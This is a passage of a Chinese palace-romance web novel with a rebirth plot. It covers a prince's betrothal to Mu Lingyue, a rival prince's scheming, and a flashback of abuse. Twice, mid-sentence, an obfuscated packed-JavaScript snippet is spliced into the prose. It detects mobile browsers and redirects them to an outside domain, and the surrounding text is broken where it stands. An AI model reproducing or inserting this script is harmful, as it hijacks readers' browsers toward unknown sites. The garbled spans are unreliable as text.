帝王沉默了。 曹总管接着劝,“陛下,两个殿下的婚事也该和娘娘好好商量一番。” 曹德善再立大功,帝王身上的惆怅散了大半。 “去通知锦绣宫。” “诺。” 酉时中,帝王早早地出了御书房,径直朝着锦绣宫而去。 刚到,离门槛还有些距离,便见皇后站在大殿中。浅蓝的宫装在身,高贵又纯净,仿佛掌风雪的女神临尘。 她来迎他吗? 就像寻常人家,妻子迎劳作了一日的夫君归家。 帝王怔怔时,岑惠仪已朝他走来。 到了近处,微微福了福身,“陛下,晚膳已经准备好了,一道用吧。” 帝王回过神来,主动牵起岑惠仪的手,“让惠仪费心了。” 这回,岑惠仪不曾挣开。 夫妻两人相偕去了花厅,洪嬷嬷领着众侍婢上菜,五菜一汤,凑了个吉利数。 坐定后,帝王目光从这五菜一汤上掠过,眼底有笑意一闪而过。 这些菜,一半以上是他爱吃的。 就是不知道是洪嬷嬷准备的,还是惠仪授意的。 不过这些不重要了,今夜能这般他已经很满足了。过去二十年,惠仪从未像今日这般主动迎他。她像是认命了,他给她会接受。除了这些,再无其他了。 用膳期间,夫妻两人都很安静。 教养使然,也是两个人都在适应这难得的轻松和顺。 用完膳,碗碟迅速被撤走。 洪嬷嬷端了些水果和花茶上来,张罗好一切,领着内侍离开了花厅。 偌大的空间里顿时只剩帝后。 岑惠仪给帝王斟了杯花茶,动作间袖摆轻轻地晃,清婉风情在涌动。 往帝王面前推时,她轻柔开口,“陛下可是为小七今儿见了威远侯这事而来。” 帝王:“此乃因由之一。” 岑惠仪:“三个孩子都想娶慕家姑娘,陛下打算如何处理?” 帝王从这话里剥出了几分幸灾乐祸的意味,不由笑了声,“皇后这是真不打算管了?觉得难办,干脆不管了?” 岑惠仪:“陛下这么想也是可以的。手心是肉手背也是肉,掺和多了保不齐会被不能如愿的那个说偏心,这事儿就有劳陛下多费心了。” “合着是让孤去做恶人?” “这叫能者多劳,今晚这顿饭就是惠仪的感谢。” 一顿饭,使唤帝王做事。 这世间,除了岑惠仪还有谁那么大胆? 这个女人,分明是有恃无恐。 心绪起起伏伏,帝王伸手拽住了岑惠仪的手腕,将佳人带起。片刻后,柔云带香跌入他的怀中。 “陛下……” 帝王将她困得密不透风,俊脸搁在她的肩头。 “一顿饭就把孤打发了?” 岑惠仪:“那也是陛下的孩子。” 言下之意,这事儿本也绕不过他。 帝王:“可若他们不是你的孩子,孤不用这般谨慎。” 岑惠仪:“那陛下想如何?” 帝王:“惠仪,你亲亲孤。” 主动亲帝王,岑惠仪以前从来没有做过。 一是她性子本就内敛,二是他们的开始那般不堪,说服自己不恨他已用尽了她所有的力气。 以往帝王也不曾提及,许是心有愧不忍逼她太过,今儿也不知是怎么了。 原是想拒绝的,可就在她即将启唇的那一瞬,小七孤独地死在神龙潭旁的画面从她脑海掠过。 他的两只手腕都在涌血,而他身边没有母亲没有爱人没有兄弟…… 一瞬间,岑惠仪的背脊冷透了,她的思绪前所未有的清晰。 她不该再被过往困住了。 一个失宠了母亲连自己都保护不了,如何能保护自己的孩子。 她要活下去,护着小七避开梦境中的一切。 思绪的末处,岑惠仪纤白的手抚上了帝王的脸颊,一寸寸勾勒,缓慢而轻柔。 “陛下,您可后悔当年所为。” 帝王眼底有惊喜一闪而过,“不悔,重来一次,孤一样会那般做。” “岑惠仪必须是吾妻,孤就是死都会带着你。” 这话意外地取悦了岑惠仪,她忽而低头亲了下帝王的唇,眉眼盈笑,前所未有的明媚。 “本宫准了。” 帝王哪里忍得了这个,发了狠地吻了下去。 暧昧水声起,锦绣宫返春。 三月十五,又是春光暖馥的一日。 辰时末,慕翎玥刚用完早膳。几日修养,一身病气尽数散去,她觉得宫里的那位殿下忍耐力怕是也要用尽了。今儿他定是又会溜出宫了。不管他扯了什么理由,真相只有一个那就是想见她。 幼稚,但又能精准地锤中她的心。 皇家出情种多稀罕的事儿啊,竟给她撞见了。 不过,撞见了就是她的了。 这一次,她要快点将他收入袋中。 “阿屏,收拾收拾,我们去宝乐街。” 阿屏当即应下。 流光随后问道,“小姐怎么想着去宝乐街了?” 宝乐街上店铺确实不少,但她们家小姐似乎更爱逛曲水街。 “因为……” 她猜七哥会去宝乐街给她买珠钗。 宝乐街的鹊华珠玉铺子是宫里头的娘娘和世家贵女的心头好,新品一上必遭哄抢。 每逢初一十五上新。 今天十五,刚好鹊华的上新日。 当然了这些只是她的猜想,结果如何要去过了才知道。 心里思忖她是一句未道明,随意地扯了个理由, “我想去鹊华瞧瞧。” 流光信了,“差点忘了,今儿是鹊华的上新日。” 流光虽然能闹腾,但她做事用不着任何人操心,麻利又细致。 和阿屏一道,很快张罗妥帖,主仆三人一道出了府。 慕翎玥猜得半点没错。 辰时刚过沈叙白又出宫了,皇宫守卫都是看到了当没看到。说是溜出宫耍,其实是帝后的默许,旁人没有置喙的余地。 今儿他想去见见阿翎妹妹,一是想亲眼确定她的身体状况,二是想向她索要答案。 慕翎祥那个没用的东西,是一点都没帮上他。 兄弟不行,他便只能自己来了。 原都到了慕府门口,他突然觉得空着手探望小女郎不妥吧?更遑论那小女郎还是他的心上人。 停在原地思前想后近半盏茶的工夫,沈叙白转身离开了慕府,朝着宝乐街而去。 他记得今儿是鹊华珠玉铺子的上新日,从前洪嬷嬷还让他给母后买过。 哪个小女郎会不喜欢漂亮珠玉呢?买了送给阿翎她肯定会喜欢吧? 催动轻功,迅速抵达。 看着被挤满的铺面,沈叙白忍不住蹙眉:“……” 都这么富的吗? 隔壁街的菜市场都没这么多人。但人多这点事儿,显然无法逼退习惯要什么有什么的小殿下,他随手招了个小孩儿过来。 “哥哥,你找我什么事儿。” 小孩儿六七岁,虽然衣着朴素,但明显被家里人爱着,整个人干干净净的。 沈叙白塞了片银叶子给他,“看到那间店铺了吗?” “嗯嗯。” “你去找那家店铺的掌柜,说宁跃城三少在外面等他。” 宁跃城三少这几个字一出,小孩哥的双眸陡亮,“哥哥,你是宁跃城三少。” 沈叙白:“是啊,我是三少里最帅最和善的那个。怎么样,帅吗?” “帅!特神气!” 沈叙白被逗乐,“你长大了也会和我一般帅的。去吧。” “好的。” 小孩儿从未见过这么漂亮的银叶子和小哥哥,欢喜得不能行,奔向鹊华的步履都隐约透着欢喜。 小孩哥像小泥鳅一般在人群中扭来扭去,很快寻到了鹊华的掌柜。他时常在这附近玩,没少见鹊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495332|185914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华的钱掌柜。 “阿叔。” “什么事儿啊?今儿人多,别乱跑,丢了你爹娘该多着急啊。” “知道,谢谢阿叔。我给宁跃城三少捎句话就走了。” 钱掌柜怔了数息才道,“什么话?” 小孩儿:“哥哥说他有事儿找您,他现在就在外面。” “哦哦哦,好好好。” 应完,从面前的糖果匣子里抓了把糖给了小孩儿,“拿着吃,快去找你爹娘。” 小孩儿更是欢喜了,小脸盈笑,“多谢阿叔。” 接过糖,他迅速地出了鹊华珠宝铺。 掌柜钱华召过副手叮嘱了几句,随后出了铺子。目光浅浅梭巡,沈叙白的身影映入他的眼底。 “……” 得,还真是宁跃城三少。 碰面,聊过,钱华直接将沈叙白带到了鹊华的陈列室。 “殿下随便挑随便选,不让价,也不会狮子大开口。” 这一看就是个活跃的性子,会做生意的。 沈叙白:“多谢钱掌柜了。” 刚谢完,“有镇店之宝吗?拿出来瞧瞧。” 钱掌柜:“瞧可以,但镇店之宝不卖。” “先瞧瞧,没准儿本殿看不上眼。” 钱掌柜的嘴角因这话抽了抽。 这话但凡换个人说,他如何都是要同他掰扯几句的。但眼下是他们大诏的小殿下说的,他什么好东西没见过呐。他们鹊华的镇店之宝,没准儿还真进不了他的眼。 “殿下,这边请。” 钱华强行压下想和殿下掰扯的冲动将沈叙白往陈列室深处带,那里另有一个小间,布置精巧,防潮防尘也做得特别到位。 两样镇店之宝,并排而放。 一件是彩玉步摇,色彩绚丽镶嵌的玉种多样,有些沈叙白都叫不出名字。 另一件是珠宝礼冠。 又重又闪,沈叙白一眼看过去,脑海里冒出的第一个念头是:戴这个出嫁的新嫁娘,脖子该遭罪了。 还是彩玉步摇好。 “本殿要这个。” 钱华:“……” “殿下。” 后续根本来不及出口,沈叙白拍了下他的肩膀,“你们少东钱永有是吧?” 虽然不曾宣于众,但这世间事儿有几件能逃过沈叙白较真了问? “是。” “他会同意的。钱掌柜你就和他说,这彩玉不摇是要拿去送给未来七王妃的。” 钱华:“……” 七王妃都搬出来了,别说了少东了,老爷亲至也得给面子。 “那小的给殿下包起来。” “至于价钱,容小的和少主说了再告知殿下。” “如此甚好。” 一切万分顺利。 拿到了礼盒,沈叙白直接从陈列室飞抵地面,避开了人群。他再度朝着慕家而去,眉眼清隽盈了笑,春阳不及的明朗。彩玉步摇抹平了他的急躁,沿着宝乐街而行,不紧不慢。 岂料即将出宝乐街时,一辆马车停在了街口,车厢右下角刻的字闯入他的眼底。 【慕】 沈叙白的心跳一瞬乱透。 是阿翎妹妹吗?还是慕夫人或是慕家二姑娘。 沈叙白停下了脚步,不由自主。 片刻后马车也停了,一抹瓷白的身影随后映入沈叙白的眼底,那是这世间最绝美柔和的颜色。 是阿翎妹妹。 在他想去寻她时,她猝不及防出现在他的眼前。 慕翎玥也瞧见了沈叙白了,少年矜高英挺,眉目舒朗,立于光中比光艳。 鼻子一下就酸了,心里无声呢喃,“七哥,终于又见面了。” 双向奔赴,两个人之间的距离很快消弭,慕翎玥心中的悲伤也是。 面对面而立时,她笑了笑,明媚又高贵, “七哥,可否帮阿翎一个忙。” 说话间,眼角的余光扫到了沈叙白手中的鹊华的盒子,眼中的笑意顿时越发浓郁。 她说什么来着? 殿下今儿就是为了她出宫的,又给她带了礼。 沈叙白不知姑娘心中兜转,嬉皮笑脸道:“阿翎妹妹的事儿就是七哥的事儿。说吧,再难七哥都给你办了。” 慕翎玥:“七哥都不问是什么忙就应了下来?万一……” 沈叙白:“没有万一,阿翎又不是别人。” 他笃定她不会伤害他,也不会提出让他为难的请求。 慕翎玥被这句话取悦,嘴角轻轻翘动。 重见七哥,她才知道原来自己这般爱笑。 “那阿翎说了?” “说吧,七哥听着呢。” “阿翎想做七王妃。” 8. 第 8 章 沈叙白耳边的声音仿佛一瞬被风拂尽,只剩慕翎玥的那句“阿翎想做七王妃”反复响起。 一遍又一遍,近半盏茶的时间过,他终于清醒过来。 “阿翎,你可是认真的?” 黑眸中、声线中,惊喜根本掩不住。 他若强娶,阿翎避不开。但他目睹了父皇母后多年来的种种,他知道强娶后痛苦会持续折磨两个人。何时尽,无人知晓。 他不想自己和阿翎经历这些,这也是他执意找阿翎要个答案最主要的缘由。 即便答案和他期望的不同,但总归阿翎妹妹知道了他的心意她又没有其他喜欢的人,说不定愿意和他一试。毕竟过去阿翎妹妹待他是极好的,有时候阿祥都会吃味。 沈叙白想了很多种可能,但它们一个没发生。 他得到了他根本不敢想的答案,近乎轻易地。 阿翎主动说想做七王妃,观其神色,也不像说的违心之言。 慕翎玥:“七哥在怕什么?” 沈叙白:“……” 他这是怕吗? 他分明是太过在意。 “我没有怕,我是担心你没想清楚以后后悔。” 慕翎玥:“哦?在七哥眼里,阿翎是这般愚笨的人,连自己想要什么都不知道?” 沈叙白:“……” 这是不是跳进神龙潭都洗不清了? 看他不知道该如何应对了,慕翎玥突然就舍不得闹他了。 她又往前走了两步,越发靠近他,继而抽走了他手中的小礼盒。 她理所当然地开了盒子,一支瑰丽的彩玉步摇映入她的眼帘, “给我的?这支彩玉步摇是鹊华的镇店之宝,不是不卖吗?” 沈叙白低闷地嗯了声,耳根微微泛热。 “我说服掌柜卖了。” “哦?如何说服的?之前多少贵人和钱掌柜掰扯,他不曾松口。” 鹊华背后的老板是钱家。 帝都世家众多,但论会赚钱,除了慕家就是老钱家了。盘亘帝都百余年,也显赫了百年,各方人脉都有。 他们不会惧怕谁,沈叙白也不是爱用身份压人的人儿。 种种因由叠加,慕翎玥还真有些好奇沈叙白做了什么让钱华松口,可能都没经过钱家主事人的允准。毕竟现在时间还这般早,钱家的那几位很少在这个时间去巡店。 太聪明了,沈叙白根本无从隐藏。 没法藏,那就不藏了,骄傲也不允许他再藏了。 他看着慕翎玥,认真又专注, “我对他说这支彩玉步摇是要送给未来七王妃的。” “阿翎,你可愿嫁与我为妻?我和你保证这辈子唯你一人,我会好好照顾你爱你。也许会惹你生气,但如果是我的错,我一定会改。” 事到如今,慕翎玥是一点都不怀疑他的承诺。 “七哥,阿翎愿意的。” 说罢,把空出的那只手递到他的面前,“但以后你去哪儿都要把阿翎带着,你能做到吗?” 就算死,两个人也可以死在一起。 能死在一起,何尝不是一种圆满。 “当然。” 沈叙白扣住她的手,一颗心终于安稳地回到了原处。 这是他第一次牵她,她的手柔腻微凉,冷玉一般的触感。 “这么漂亮的媳妇儿必须走哪儿带哪儿。” 想抢夺的人可多了。 他又不傻。 还没成婚就乱叫媳妇儿,于理不合。 可慕翎玥根本舍不得说他。 他的笑容那般明亮,仿佛得到了全世界。 一世又一世,他和她终于要如愿了。 “阿翎,你原是打算去哪儿,七哥陪你。” 待到情绪归于平顺,沈叙白放开了慕翎玥的手,柔声问道。 慕翎玥略一思忖:“七哥,你不是说要请我喝鸳鸯茶?” 鸳鸯茶,从前慕翎玥都没听过。 半月前她听沈叙白讲了,惦记至今。芝麻、杏仁、搭了枣干和杏干,光听就觉得香了。 “是说过,可那地儿距离宝乐街远得很。你初愈,还是少些颠簸吧。” 慕翎玥坚持:“阿翎今儿一定要喝到。” 这一世她想任性些,想要什么明白道出,争取早些得到。 谁知道明天会发生什么呢? 上一世,她和七哥曾过得那般顺遂,最后却是落得那般下场。 沈叙白:“……” 阿翎妹妹原来也有任性的时候?啊?不过不要紧,一个慕翎玥他怎么也是宠得起的,也乐意宠。 “那走吧。但这是你自己选的,不准喊累啊。” “阿翎不是那样娇气的人儿。” 一对青梅竹马相偕朝着马车而去,肩并肩。 步子不疾不徐,朝气和欢喜无声溢漫。 “上车。” 听到这话,慕翎玥才开始思量如何去那茶铺。 虽是两情相悦,但总归两个人现在还没成亲,共坐一车免不了被人碎嘴。她不想那样,这一世她想他们的婚事顺利进行,不染一丝灰霾。 “改日做足了准备再去。” 沈叙白:“喝茶要准备什么?” 慕翎玥:“……” 一旁,阿屏忍不住开口,“小姐的意思今儿没给您备马。” 沈叙白闻言笑,“这不是马吗?今儿本殿就给阿翎妹妹当马夫。” “我的技术不错,阿翎妹妹要不要试试?” “胡闹!” 慕翎玥自是不肯,传出去他是没什么。宁跃城三少本就是“混”名在外,做了什么都没人觉得奇怪。苦的只有她,说不定还要被老祖宗和二伯训。 她甚至能脑补出二叔训斥她的话:“胡闹。将皇子当马夫用,陛下知道了会怎么想?他一准会觉得我们慕家家风不行,不知规矩。” 沈叙白却说:“给媳妇儿驾马算什么胡闹?” 说话间,一把掐住慕翎玥的腰肢,将娇人儿送进马车。 少年瘦削,力道是真大啊。 一整套动作干净利落,看着很轻易。 慕翎玥没能制止他,动作太快了,也是因为他的体温烫了她的腰,她的注意力自然而然朝那处倾注。 确定慕翎玥坐好,沈叙白径直上了鞍座,策马前,他的目光落在了阿屏身上,“你们先回吧,回去告诉慕翎祥本殿邀四姑娘喝茶去了。” “万事,都由本殿担着。” 话都说到这个份上,阿屏等人也不敢同他拗。 看着再好相处他都是个皇子,还是中宫嫡出从小受尽宠爱那种。他一旦强硬,谁都拿他没办法。 “诺。” 阿屏,流光和马夫三人微微躬身,目送马车离去。 待到马车走远,流光有些不放心地对阿屏说,“那地儿不会很偏吧?万一……” 七皇子武艺再怎么高强他都只有一个人,还要护着小姐,万一碰到了坏人该如何是好? 阿屏没让她将万一道出口,嫌晦气。 她伸手敲打了流光的额头,“你觉得你能想到的事儿陛下和皇后娘娘想不到?” 他们放任七皇子出宫耍,定是做足了准备能确保他安全的。再则除了丧心病狂之辈,谁会去伤害帝后嫡子阿。 “回了。” 车走了好长一程,慕翎玥冷静下来。 她开始温习“重逢”后的种种,心间开始泛甜。 七哥,真的待她极好。 她要什么,他都愿意给她。 这个念头迸出时,慕翎玥忍不住唤了声,“七哥,你能帮我把车帘掀开吗?” “我嫌闷。” 她藏起了真实的心意。 她想多瞧瞧他,哪怕他在驾车,她只能看到他的背影。 话落唰的一声,车帘开了。 沈叙白的声音随后飘了进来,“有不适要早些说。” “嗯。” “七哥,若是那间茶铺今儿没开门如何是好?” 沈叙白:“……” 好问题。 “没开门,七哥就买上材料回家给你做。” “七哥还会做鸳鸯茶?” “不会,但以七哥我的聪明才智,定是不费吹灰之力的。” 经由少年的言语,慕翎玥能清晰地感受到他的生命力,热烈而磅礴。 不像上一世,即便万里江山在握,他的眼神都是空洞的。 “如此甚好。” “七哥,你可曾想过出宫历练?” 少许犹疑,慕翎玥终是将心中藏着的事儿说出来。养病这几日,她一直在想这一世如何破局。可对前世,除了那惨烈的结局她所知甚少,她也不知道他们是如何一步步走到绝境的。 是以她只能依照当下局势筹谋未来。 眼下内廷看似安和,实则除了七哥外的所有皇子都存了夺嫡之心。 帝都诸势力怕是早就站队了,区别只在于被迫还是自发。 七哥想要积蓄势力,便只能出帝都了。 沈叙白回头看她,眼中有诧异,“阿翎妹妹为何突然提到这茬?” 慕翎玥随意扯了个借口,“因为阿翎想去外面的世界瞧瞧。” 岂料这话意外地安了沈叙白的心。 先前他同刘坤城说的种种没有一句假话。 他想去陇西,镇门阀,斗外敌。若他成功,他也有能力守护所有他在乎的人和事儿。 可陇西总归不是繁盛帝都,阿翎未必能适应。 他多少是有些担心的。 “那我们去陇西好不好?” 慕翎玥想的也是去那里。 沈叙白和自己想到一块去了这事儿取悦了娇人儿,她的嘴角开始压不住,黑眸晶晶亮。 “好。阿翎喜欢陇西。” “那就这么定了,等成婚后我们就去陇西。” 无论是成婚还是去陇西其实都不容易,可沈叙白的话笃定如山,仿佛这些事儿于他而言根本没难度。 慕翎玥也信他。 两个人聊着天,时间无声滑过,不算短的路程,也没觉得难熬。 到了地方,沈叙白扶着慕翎玥下了马车,两人朝着山中而去。山风清冷,带着些许潮湿水意,从慕翎玥的脸上拂过,她觉得好舒服。 “七哥如何找到这里的?” 问完,她便轻轻笑出声来,根本抑不住。 沈叙白侧眸看她,“阿翎在笑甚?” 慕翎玥:“笑七哥你。” 沈叙白:“……” 他能不知道?他问的是笑他什么。 慕翎玥很乐意为他解惑,“进山喝茶这事儿一般人干不出来。” 沈叙白:“这证明我这人很不一般。” “哈哈哈。” “觉得七哥瞎扯?” “不是,阿翎也觉得七哥很不一般。” “有眼光。” …… 走了近两盏茶的工夫,终抵茶楼。 这是慕翎玥见过最简陋的茶楼,它甚至算不上茶楼。它是一间老旧木屋,一层的,但那茶应该不错的。 他们来时木屋外已经坐了两个人。 鸳鸯茶已上,茶香随风漫开,有一缕无声浸入慕翎玥的鼻翼间。 她确定她会喜欢这个味道。 坐定后,沈叙白朝着屋内喊,“陈伯,给我上两碗鸳鸯茶。” 陈伯本在屋里张罗先前两位客人的茶配,听到熟悉的声音连忙出了瞧, “贵人来了啊。” “等老头子一下,容我将两位少侠的茶配先弄好。” 沈叙白:“您慢慢来,不着急。” 皇子架子,是一点没有的。 他不说,没人将他是皇子这茬上想。 和陈伯打完招呼,陈叙白的目光转向他们不远处的那张桌,明朗笑道,“两位少侠怎么到这么偏冷的地儿喝茶?” “我是岑二,两位怎么称呼?” 慕翎玥嘴角细微地抽动了下。 他们家七哥天下皆朋友,山间的老人他认识,偶遇的侠士他也能唠。 “秦三。” “姜浮舟。” 两位锦袍公子也是好处的人,纷纷自报家门。 秦三随后道,“本想来给母亲挖羊脂草,但找了一圈儿是一株都没瞧见。” 姜浮舟笑:“说来也是稀奇,不是说这水云山漫山遍野都是羊脂草?” 这事儿还真把沈叙白问倒了。 舞枪论剑他可以,花花草草他当真是一点头绪都没有。 哪想,身边人儿忽然笑了声。 姜浮舟:“姑娘笑甚?” 慕翎玥柔声道,“羊脂草喜冷,多在山之巅不见阳处,越阴冷越好。且它的叶片会因遇光程度不同呈各种颜色。” 姜浮舟忍不住惊叹:“怪不得啊。即使阴冷处也不可能完全避开光,叶片的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈叙白被哄成翘嘴,黑眸晶晶亮,“媳妇儿,说得好。” * “来者何人?” 这日深夜,威远侯府门口来了一辆马车,极为普通的样式,车身也没有任何家族标识。 车夫跳下马车,径直走到了守卫近处,以极低的声音说了句什么。 守卫闻言,下意识地朝那车看了眼。 随后对同伴说,“你在这守着,我去禀报侯爷。” 疾步狂奔近半盏茶的工夫,守卫见到了刘坤城。 “侯爷,三皇子到了。” 刘坤城的视线从书页上挪开,看向守卫,“这三皇子的行事手法和他的弟弟倒是不同。” 一个敞亮,一个阴诡。 同父同母,大抵教养也是差不多的,差别怎会如此之大? “你去回他,就说本侯睡了。” 守卫恭敬应下,旋即离去。 怎知转达三皇子后他并未离开,但也没再继续纠缠。马车静静地停在那里,存在感近乎微无。 时间随风静逝。 过了近一个时辰,管家刘暮进了书房,催刘坤城去歇息。 刘坤城淡淡瞥了他一眼,“现在还休息不了。” 刘暮眼中涌出关切之色:“怎的了?” 刘坤城:“你去请三皇子进来。” 刘暮:“……” 眼下这都近亥时了,三皇子怎么还在宫外晃荡呐。 但主子爷发话了客人又是三皇子,刘暮是一点不敢耽搁。他亲自跑了趟,引着三皇子入了侯府。 坐在了刘坤城面前,沈叙清才将帽子和面罩摘下,昏黄光线映出他的脸,竟有几分柔和的意味。但刘坤城知道,这是假象。他们这位三皇子从来和柔和不沾边。 “坤爷。” 沈叙清笑着打招呼,仿佛不曾因刘坤城晾了他一个时辰生出恼怒。 “三皇子深夜来寻本侯可是有急事?” 沈叙清:“急事倒没有,就想问问坤爷愿不愿意和本殿合作。” 合作?小殿下真是开了个好头啊。 刘坤城唇角细微地勾动,“三殿下能给本侯什么?” 沈叙清:“无论诏国出现怎么样的变动,您都能居高处,无人能动。” 刘坤城又问,“那殿下想要什么?” 沈叙清:“我想顺利地娶到慕家四姑娘。” 沈叙清说这话时,刘坤城从他的眼中捕捉到了几分癫狂偏执的意味,就仿佛他对慕家四姑娘生出了执念。倘若得不到,他会选择毁掉她。 可据他所知,沈叙清和慕家四姑娘并无过深的交往。 太过诡异了。 “如果是这事儿,恕本侯无法帮你。” “哦?因为沈叙白所求同我的一样?” 刘坤城笑了声,“果然什么都瞒不过殿下。” 刘坤城以为沈叙清知晓这事儿是因为他在宫中耳目众多,说不定陛下身边都置了暗钉。 他如何也没想到,沈叙清是记得前世种种。 上一世沈叙白和刘坤城并无接触。但沈叙白对慕翎玥那般在意,又亲眼看见他和老五向陛下请求赐婚。这个节骨眼上他突然来见刘坤城,所求只可能是这个。 “但凡事讲究一个先来后到,再加之七皇子不过是想求个公平竞争的机会,如何看都不过分。殿下,您觉得呢?” 沈叙清心知说服不了刘坤城了,遂退而求其次, “那坤爷,打算如何做?” 刘坤城道明一切,未见犹疑。 他这般会做人,让沈叙清非常满意。 “今晚是叙清唐突了,还望坤爷莫怪。” 虽然在暗霾中等了一个时辰,但结果是极好的,沈叙清觉得这一夜过得也算不错。 “殿下可要记得今晚的承诺啊。” “自然。” 话落,沈叙清将帽子扯起,覆于头上。 “和坤爷这样的聪明人合作甚是舒心,期待下次。” 刘坤城:“夜深了,本侯就不送殿下了。” 沈叙清微微颔首:“告辞。” 9. 第9章 翌日,慕翎玥睡到辰时末才醒。 从前她鲜少有起得这般迟的时候,但没人催她,都认为病了就该多养养。 现如今慕翎玥自个儿也是这么想的,打江山她是没力气了,但把自己养好她还是可以的。 只要她在、大哥和阿智在,他们殿下整日都有使不完的牛劲儿。 上一世他都能做到,这一世更不在话下了。 起来,一碗热汤刚刚喝完,二姐慕翎慧便急匆匆地进了她的院子。 今儿慕翎慧着了一身少年的衣裳,三千青丝高高束起,一眼望过去,还真像一个小公子。 慕翎玥忍不住笑,“姐姐这是要做甚?穿成这般也不怕被娘亲埋汰。” 慕翎慧走到慕翎玥身旁坐定,意态轻松,仿佛这是自个儿的房:“千丝上新了,咱们一道去瞧瞧。” 千丝是宁跃城最大的绸缎庄。半年上一次新,每回上新都称得上是帝都盛事,慕家人的衣裳也多是在那里定制的。 “我差点忘了这事儿,那阿翎陪姐姐走一趟。” “阿翎最好了。” 慕翎玥听到这句,突然记起自己惦记的事儿,柔柔笑道,“不过姐姐要如实回答我几个问题。” 慕翎慧特别干脆:“问。” 慕翎玥也未拖延,“姐姐从前不喜宫宴,这回怎的起了兴致?喜欢上宫里某位殿下了?抑或……” 慕翎慧听了直拧眉,伸手抚上了妹妹的额头,“烧糊涂了?” 慕翎玥:“……” 小姑娘失了语的样儿,有点呆又有点可爱。 慕翎慧被逗笑:“还以为多聪明呢,原来也是傻姑娘。” 慕翎玥反驳:“阿翎才不傻,阿翎是关心慧姐。” 慕翎玥和慕翎祥想法一样,皇宫不适合慕翎慧,性格直来直去又爱四处耍。家里宠她自是舍不得拘着她,进了宫就不同了。 她或许能适应,毕竟也是聪明的人儿,但想象从前那般快乐怕是很难了。 慕翎慧听了心一软,再舍不得让妹妹担忧了,如实道,“姐姐没喜欢任何人,到现在也没多喜欢宫宴。” “那……” “这次是听说供品蓝云丝到了诸位娘娘的手中,春茗大宴上她们可能会穿?我想亲眼瞧瞧那丝,是不是真像传言中的那么美。” 又是丝。 慕翎玥总算是听出些端倪了,“姐姐最近怎地突然如此痴迷布料丝绸?” 慕翎慧:“先前你不是赠了姐姐些书,其中有一本名唤《仙色》,专门讲各种料子的。” 太美了,工序复杂又精细,平平无奇的一条纹路都藏了许多巧思。她产生了浓厚的兴趣,又找了些相关古籍来看,一发不可收拾。 “阿翎,姐姐未来还想去南方瞧瞧,若有可能,想深入学习织造。” “阿翎,你说爹娘会允吗?” 慕翎玥没想到她赠给姐姐解闷的书籍,意外地给姐姐打开了新世界的大门。 她找到了自己感兴趣的事儿,这真是大惊喜。 慕翎玥也终于安下心来,她实在不想姐妹情谊为男人生出嫌隙,“爹娘那般疼爱姐姐,定是会同意的。” “那阿翎觉得姐姐能做好吗?” 提及自己喜爱的事儿,慕翎慧眉眼仿佛覆了层柔光,漂亮又明亮。 “当然能。说不定过几年慧姐能成为声名赫赫的织造之王,名望能和爹爹一拼呢。” 胡乱瞎扯,却抹去了慕翎慧心中所有的担忧。 阿翎那般聪明,她觉得她行,她就一定行的。 她忍不住笑了起来,“以后妹妹的衣裳姐姐全包了。姐姐定是要让阿翎成为这世间最幸福最漂亮的小女郎。” 慕翎玥笑,由衷的,喜悦的。 可她控制不了的鼻酸眼热。 她猜测,这是身体的记忆。上一世姐姐的结局可能并不好,甚至可以说是悲惨。 “阿翎也会好好保护姐姐的。” “就你这细胳膊细腿还想着保护姐姐呢。” “阿翎从今天开始多吃饭。” “这话姐姐可听进去了,做不到就和娘亲说你。” 聊了一阵,姐妹俩出了房。 从暗处走进灼灼日光,上一世的悲凄再无法沾染她们。 …… 上一世,洪珲元年末。 会宁宫 慕翎慧终于盼来了夫君沈叙清,如今他成了大诏的天,牢牢地控住十二亲军卫。 说一不二,霸道阴狠本性再不藏了。 继位没够一年,恶心事儿做了一件又一件,其他的慕翎慧不想管也管不了, 但他重伤她的哥哥,强行将阿翎困在锦绣宫,还闹得天下皆知令阿翎闺誉受损这两件事儿她实在忍不了。 一见到他礼都不行了,便径直冲向他,愤怒叫嚣。 “你如何才能放过阿翎?太/祖留下的家训中明白写着一族无二妃。” “沈叙清,你是准备将你沈家祖训都踩在脚……” 话没能说完,沈叙清出手扼住了她的咽喉,很用了几分力,慕翎慧只觉窒息。 “孤认你,你才是妃。” 言下之意,他从未当她是妃。 慕翎慧的眼睛开始发红,也不知是因呼吸困难还是痛恨。 “沈……” 她想骂他,沈叙清自然不会给她这个机会,掐住她脖子的手不断地收缩。 这一瞬,他是真的起了杀意。但最终他并未杀她,嫌恶地将她摔在了地上。 “再闹,孤就杀了你。” 过去七日,慕翎慧每日坐在大殿外,撕心裂肺地喊着,嗓子哑了疼了也不在意。 喊的全是他的隐私,她甚至有模仿他沉迷情欲时的呼吸声。 而殿外,布满了控制她的帝王亲军。 这个女人,明显是想寻死了。 她或许也是知道,这局再难破。不仅她得死,慕家也没有一个会有好下场。既是这般,还有什么好隐忍的呢? 在死前,她也要恶心沈叙清一番。 沈叙清果然被激怒,第八日时,终于踏进了会宁宫。 “杀吧。” “沈叙清,你想杀就杀。但是你等着,我慕翎慧做鬼都不会放过你的。” 沈叙清却是淡淡一笑,“想死啊?孤不会让你这么早死的。阿翎为后的那日,她定是想见到你的。” 慕翎慧:“阿翎死都不会嫁给你的。” “你这个肮脏玩意儿。” 曾经的恩爱夫妻,再度不欢而散。 慕翎慧总算是出了一口恶气,可她没想到一年后,她竟真的收到了妹妹的死讯。 阿翎死了。 是不是因为她那句话不吉利啊? 她不是个好姐姐,她没能护好妹妹。 “阿翎,阿翎……” 